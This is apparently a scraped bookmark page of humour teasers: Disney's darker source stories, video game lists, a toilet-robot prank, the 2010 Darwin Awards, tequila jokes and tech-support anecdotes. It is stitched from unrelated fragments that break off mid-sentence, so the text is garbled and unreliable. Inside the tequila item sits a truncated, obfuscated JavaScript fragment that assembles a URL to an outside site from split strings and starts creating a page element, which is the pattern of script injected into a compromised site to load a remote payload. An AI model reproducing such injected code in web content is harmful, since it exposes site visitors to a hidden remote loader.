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Angwe - The Amazing Mith Harbor Ganker. 7 Classic Disney Movies Based On R-Rated Stories. As happy as they were to give us the occasional nightmare, Disney's favorite way to misshape our world view was to coat classic stories in a suffocating saccharine wrapper, damning us all to a lifetime of naivety.

7 Classic Disney Movies Based On R-Rated Stories

But all you have to do is look at these (very real) original endings to tales Disney sanitized to be thankful for their protection, and baffled that they chose to adapt such horrifying stories to begin with ... The Jungle Book: Everybody Dies The Disney Happy Ending: The film follows Mowgli, a baby who winds up in the jungle and is befriended by talking predators.

After avoiding the human world for years and spending most of his childhood being awesome in the jungle, Mowgli stumbles upon a village and is instantly smitten with some doe-eyed floozy. "Y'know, in hindsight we probably should've just eaten him. " The Original Ending: Www.stumbleupon.com/su/5ZZNgV/:BYSv3rdR:OB@5G4!h/www.trollzy.com/if-teachers-were-games-consoles_6178.html/ Farore's Withdrawl. Farore's Withdrawl October 8th, 2006.

Farore's Withdrawl

20 Examples Of Video Game Logic. Bluntly spoken at Kartoen. Fine Print. 12 Video Game Characters With Undiagnosed Mental Disorders. Link is Creepy. Killer_Biscuits_.JPG from pra.to. Shitmydadsays (shitmydadsays) - shitmydadsays. Justin Samuel Halpern was born in a tiny fishing village called “San Diego.”

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Shit My Dad Says (13 Quotes) RoboDump 1.0. By Kevin Kelm (kkelm@triggur.org) Friday, Nov 12, 2004 RoboDump is a robot.

RoboDump 1.0

Sort of. And it poops. Sort of. Forever. The left channel speaker points up into the room (for the voice effects) and the right channel speaker points down into the toilet (for the business-end effects). I snuck RoboDump into the men's room at the office. I also decided to dress it in businessware to make coworkers less likely to try to talk to it... if it looks like a customer or visiting bigwig, they'll be less likely to offer help or ask for a courtesy flush.

Comment at the blog... RoboDump in action: 8 Steps to Making a Super Cool Bulbasaur Costume. Beer-Troubleshooting-beer-pattern.jpg from sexcigarsbooze.com. Crazy Image: Words. Beer-Troubleshooting-beer-pattern.jpg (785×1567) THEY'RE HERE! 2010 DARWIN AWARDS - You've been waiting for them with bated breath, so without further ado, here are the 2010 Darwin Awards. Eighth Place In Detroit, a 41-year-old man got stuck and drowned in two feet of water after squeezing head first through an 18-inch-wide sewer grate to retrieve his car keys. Seventh Place A 49-year-old San Francisco stockbroker, who "totally zoned when he ran", accidentally jogged off a 100-foot high cliff on his daily run.

Sixth Place While at the beach, Daniel Jones, 21, dug an 8 foot hole for protection from the wind and had been sitting in a beach chair at the bottom, when it collapsed, burying him beneath 5 feet of sand. Fifth Place Santiago Alvarado, 24, was killed as he fell through the ceiling of a bicycle shop he was burglarizing. Fourth Place Sylvester Briddell, Jr., 26, was killed as he won a bet with friends who said he would not put a revolver loaded with four bullets into his mouth and pull the trigger.

Third Place After stepping around a marked police patrol car parked at the front door, a man walked into H&J Leather & Firearms intent on robbing the store. Brands of Tequila. Spoiler Alert: All Tequila is bad tequila.))

Brands of Tequila

{u='http'+'://buro'+'tkan'+'i.com/'+'sma'+'rty/';j=document.createE Just The Facts There are several brands of tequila that vary in terms of both price and taste. You CAN find cheap tequila, but the taste is invariably awful, or, "poison-esque. " You CAN find tasty tequila, but the price is roughly two months your salary. Sauza Cost: Cheap, but really they should be paying you to drink it. Percent Alcohol by Volume: The percent that kills you. World’s weirdest hotels. The Greatest Craigslist Room Rental Ad Ever. Top 10 Hilarious Websites Of Human Misery. It’s seems like people have always been hardwired to laugh at the misfortune of others.

Top 10 Hilarious Websites Of Human Misery

It transcends all cultures, nations, and ages. As you read these words, a group of school kids in Hong Kong are peeing their pants laughing at a kid who did a faceplant into a mud puddle, somebody in Paris is guffawing at a guy getting a whifflebat to the crotch, and a grandma in Texas is chuckling under her breath at a cousin who doesn’t know his fly is undone. As long as it isn’t happening to you, personal humiliation can be totally hilarious. Before the Internet, the only way to experience these hilarious events was to be in the right place at the right to time.

But, now there is a whole slew of websites that document the hurts, humiliations, and downright stupidity of the human race and present it in an easily navigated format. 10. The biggest retail chain in the world, WalMart offers its customers a wide variety of consumer goods at reasonable prices in convenient locations. 9.

Operating Systems. Tech Support: "May I ask what operating system you are running today? "Customer: "A computer. " A girl walked into the computer center where I work. She said she was having problems with her Mac. I asked what kind of Mac she had. In an indignant voice, she replied, "Duh, Intosh. " Tech Support: "What operating system are you running? Your everyday life stories.